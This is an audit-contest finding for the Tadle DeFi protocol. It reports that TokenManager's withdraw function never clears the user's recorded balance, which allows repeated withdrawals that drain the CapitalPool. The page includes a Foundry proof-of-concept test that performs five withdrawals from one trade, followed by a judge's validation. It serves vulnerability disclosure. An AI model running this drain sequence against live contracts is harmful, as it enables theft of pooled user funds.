Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

[High] Incorrect accounting lets malicious users drain the contract.

wickie

Note

There is a bug in TokenManager::_transfer() which makes ETH withdrawls fail. For this test to work, the withdraw function has to be fixed first.

if (
_from == _capitalPoolAddr &&
IERC20(_token).allowance(_from, address(this)) == 0x0
) {
- ICapitalPool(_capitalPoolAddr).approve(address(this));
+ ICapitalPool(_capitalPoolAddr).approve(address(_token));
}

I have reported this bug in another finding.

Description: TokenManager.sol::withdraw() checks how much funds the caller is able to withdraw the following way:

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];

Then transfer the claimAbleAmount to the caller.

However it does not deduct the balance of the user stored in the mapping. And the deduction is not made anywhere else in the codebase.

Impact:

This attack works as long as a user has some kind of balance in the protocol accounting, whether it maybe from SalesRevenue or RefundAmout. So a user can just create an offer, close the offer and start the attack.
This lets any user withdraw again and again as long as they have a balance in the userTokenBalanceMap mapping, eventually draining the entire contract.

Proof of Concept:

  1. User creates an Offer.

  2. The offer is filled and the user gets his Sales Revenue balance updated.

  3. This allows the user to withdraw his Sales revenue til the pool runs out of funds.

Proof of Code:

Paste the following function into PreMarkets.t.sol:

function test_wtihdraw_drain() public {
//this is to ensure the capital Pool has enough funds to withdraw
deal(address(capitalPool), 1 * 1e18);
vm.startPrank(address(capitalPool));
weth9.deposit{value: 1 * 1e18}();
​
//user Creates an ask offer for 0.1 weth
vm.startPrank(user);
preMarktes.createOffer{value: 0.12 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
deal(user2, 1 * 1e18);
​
//user2 buys the offer
vm.startPrank(user2);
preMarktes.createTaker{value: 0.1035 * 1e18}(offerAddr, 1000);
vm.stopPrank();
​
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
​
//user settles the offer and withdraw the funds
vm.startPrank(user);
​
//capital Pool balance before withdrawl
uint256 capitalPoolBalanceBefore = weth9.balanceOf(
address(capitalPool)
);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 1000);
​
//user makes 5 withdrawls from one trade
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
​
//capitalPoolBalance after withdrawls
uint256 capitalPoolBalanceAfter = weth9.balanceOf(address(capitalPool));
vm.stopPrank();
​
//get user sales revenue
vm.startPrank(user1);
uint256 userSalesRevenue = tokenManager.userTokenBalanceMap(
address(user),
address(weth9),
TokenBalanceType.SalesRevenue
);
console2.log("UserSalesRevenue", userSalesRevenue);
​
//capital pool is drained
console2.log("CapitalPool BalanceBefore:", capitalPoolBalanceBefore); //1.223e18
console2.log("CapitalPool BalanceAfter:", capitalPoolBalanceAfter); //1.235e17
​
//user cant withdraw anymore because the pool is out of funds
vm.startPrank(user);
vm.expectRevert();
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
}

Recommended Mitigation:

Add a function to deduct balance of users after they make withdrawls

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.